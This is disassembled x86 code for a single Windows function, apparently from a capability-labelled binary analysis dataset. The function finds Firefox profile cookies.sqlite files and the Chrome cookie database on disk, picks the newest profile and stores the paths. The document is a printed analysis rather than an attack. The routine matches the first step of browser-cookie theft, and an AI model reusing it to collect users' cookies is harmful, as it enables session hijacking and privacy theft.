Function at 0x551f10
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x62a71f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c0
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6e0]
mov dword [esp + 0x6d8], ebp
cmp eax, ebp
je 0x5523b7
cmp dword [0x6d18ec], ebp
je 0x551f6c
mov dword [esp + 0x6d8], 0xffffffff
jmp 0x55265e
lea eax, [esp + 0x2c0]
push eax
call fcn.00551e60
add esp, 4
test eax, eax
jne 0x551f9b
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x55266c
lea ecx, [esp + 0x2c0]
mov byte [esp + 0x13], 0
push ecx
call fcn.005e639f
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
cmp word [esp + eax*2 + 0x2c0], 0x5c
lea eax, [esp + eax*2 + 0x2c0]
mov byte [esp + 0x6d8], 1
mov dword [esp + 0x68], eax
mov esi, 0x6d0c3c
je 0x551fe8
mov esi, 0x6a015c
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x55211a
lea eax, [esp + 0x2c0]
test eax, eax
je 0x55211a
cmp esi, ebp
je 0x55211a
push edx
lea ecx, [esp + 0x40]
call fcn.00402380
lea ecx, [esp + 0x2c0]
mov bl, 2
push ecx
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6dc], bl
call fcn.0040e5a0
push esi
lea ecx, [esp + 0x34]
mov byte [esp + 0x6dc], 3
call fcn.0040e5a0
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], 4
call fcn.00401070
mov edi, dword [esp + 0x48]
cmp edi, ebp
jne 0x55205f
lea edi, [esp + 0x4c]
mov esi, dword [esp + 0x44]
lea ecx, [esp + 0x30]
call fcn.00402400
push eax
call fcn.005e639f
push edi
mov ebp, eax
call fcn.005e639f
add esi, ebp
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005feedc
mov edi, eax
add esp, 0xc
test edi, edi
mov dword [esp + 0x24], edi
je 0x5520e2
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x30]
call fcn.00402400
push eax
lea ecx, [esp + 0x4c]
call fcn.00402400
push eax
lea ecx, [esp + 0x44]
call fcn.00402400
push eax
mov eax, dword [esp + 0x30]
push esi
push eax
call fcn.005e632f
mov ecx, dword [esp + 0x38]
push ecx
call fcn.005e639f
add esp, 0x18
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 3
call fcn.00401070
lea ecx, [esp + 0x48]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], 1
call fcn.00401070
mov ecx, dword [esp + 0x24]
xor ebp, ebp
cmp ecx, ebp
jne 0x552122
lea ecx, [esp + 0x28]
lea edx, [esp + 0x70]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [esp + 0x60], ebp
cmp edi, 0xffffffff
mov dword [esp + 0x6c], edi
mov dword [esp + 0x64], ebp
je 0x552375
mov bl, 7
lea eax, [esp + 0x9c]
push 0x6a0ee8
push eax
call fcn.005e69c4
add esp, 8
test eax, eax
je 0x552352
lea ecx, [esp + 0x9c]
push 0x6a0ee0
push ecx
call fcn.005e69c4
add esp, 8
test eax, eax
je 0x552352
lea edx, [esp + 0x60]
lea eax, [esp + 0x7c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jle 0x552352
mov ecx, dword [esp + 0x68]
mov esi, 0x6d0c3c
cmp word [ecx], 0x5c
je 0x5521ad
mov esi, 0x6a015c
mov edx, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test edx, edx
je 0x55233a
lea eax, [esp + 0x2c0]
test eax, eax
je 0x55233a
cmp esi, ebp
je 0x55233a
lea ecx, [esp + 0x9c]
test ecx, ecx
je 0x55233a
lea edx, [esp + 0x2c0]
lea ecx, [esp + 0x54]
push edx
call fcn.0040e5a0
push esi
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6dc], 5
call fcn.0040e5a0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x6dc], 6
call fcn.0040e5a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x6d8], bl
call fcn.00401070
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x40]
call fcn.00402380
mov esi, dword [esp + 0x44]
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 8
call fcn.00402400
push eax
call fcn.005e639f
add esp, 4
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.00402400
push eax
call fcn.005e639f
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x54]
add ebp, esi
call fcn.00402400
push eax
call fcn.005e639f
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.005feedc
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x5522f1
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x30]
call fcn.00402400
push eax
lea ecx, [esp + 0x4c]
call fcn.00402400
push eax
lea ecx, [esp + 0x5c]
call fcn.00402400
push eax
lea ecx, [esp + 0x48]
call fcn.00402400
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.005e632f
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.005e639f
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 6
call fcn.00401070
lea ecx, [esp + 0x48]
mov byte [esp + 0x6d8], 5
call fcn.00401070
lea ecx, [esp + 0x54]
mov byte [esp + 0x6d8], 1
call fcn.00401070
mov edi, dword [esp + 0x6c]
xor ebp, ebp
mov edx, dword [esp + 0x7c]
mov eax, dword [esp + 0x80]
mov dword [esp + 0x60], edx
mov dword [esp + 0x64], eax
mov byte [esp + 0x13], 1
lea ecx, [esp + 0x70]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x552147
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x5523a1
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x55266c
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], 0
call fcn.00401070
jmp 0x552552
cmp dword [0x6d18f0], ebp
je 0x5523cf
mov dword [esp + 0x6d8], 0xffffffff
jmp 0x55265e
lea edx, [esp + 0x4c8]
push edx
call fcn.0040e0d0
add esp, 4
test eax, eax
jne 0x5523fe
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x55266c
lea eax, [esp + 0x4c8]
push eax
call fcn.005e639f
add esp, 4
dec eax
mov esi, 0x6d0c3c
cmp word [esp + eax*2 + 0x4c8], 0x5c
je 0x552424
mov esi, 0x6a015c
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x552552
lea edx, [esp + 0x4c8]
test edx, edx
je 0x552552
cmp esi, ebp
je 0x552552
push ecx
lea ecx, [esp + 0x34]
call fcn.00402380
lea eax, [esp + 0x4c8]
lea ecx, [esp + 0x3c]
push eax
mov byte [esp + 0x6dc], 9
call fcn.0040e5a0
mov bl, 0xa
push esi
lea ecx, [esp + 0x58]
mov byte [esp + 0x6dc], bl
call fcn.0040e5a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x6d8], 0xb
call fcn.00401070
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x54]
call fcn.00402400
push eax
call fcn.005e639f
add esp, 4
lea ecx, [esp + 0x3c]
mov edi, eax
call fcn.00402400
push eax
call fcn.005e639f
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005feedc
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x55251e
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x54]
call fcn.00402400
push eax
lea ecx, [esp + 0x40]
call fcn.00402400
push eax
lea ecx, [esp + 0x38]
call fcn.00402400
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.005e632f
mov ecx, dword [esp + 0x28]
push ecx
call fcn.005e639f
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x54]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], 9
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6cc708]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0xc
cmp eax, ebp
jne 0x552570
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
push ebp
push 0xffffffffffffffff
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x5525b8
push esi
lea ecx, [esp + 0x24]
call fcn.00602ea3
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x5525a1
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
or esi, 0xffffffff
push eax
push esi
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
jne 0x5525bd
jmp 0x5525d4
or esi, 0xffffffff
jmp 0x5525d4
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x5525c9
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, esi
jne 0x5525f9
lea ecx, [esp + 0x20]
mov byte [esp + 0x6d8], 0
call fcn.00602ad6
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], esi
call fcn.00401070
xor eax, eax
jmp 0x55266c
cmp dword [esp + 0x6e0], ebp
je 0x552625
mov eax, dword [esp + 0x20]
push eax
push 0x6a00a0
push 0x6d18c4
call fcn.005fb90b
add esp, 0xc
mov dword [0x6d18ec], 1
jmp 0x552646
mov ecx, dword [esp + 0x20]
push ecx
push 0x6a00a0
push 0x6d18c0
call fcn.005fb90b
add esp, 0xc
mov dword [0x6d18f0], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6d8], 0
call fcn.00602ad6
mov dword [esp + 0x6d8], esi
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6d0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6cc
ret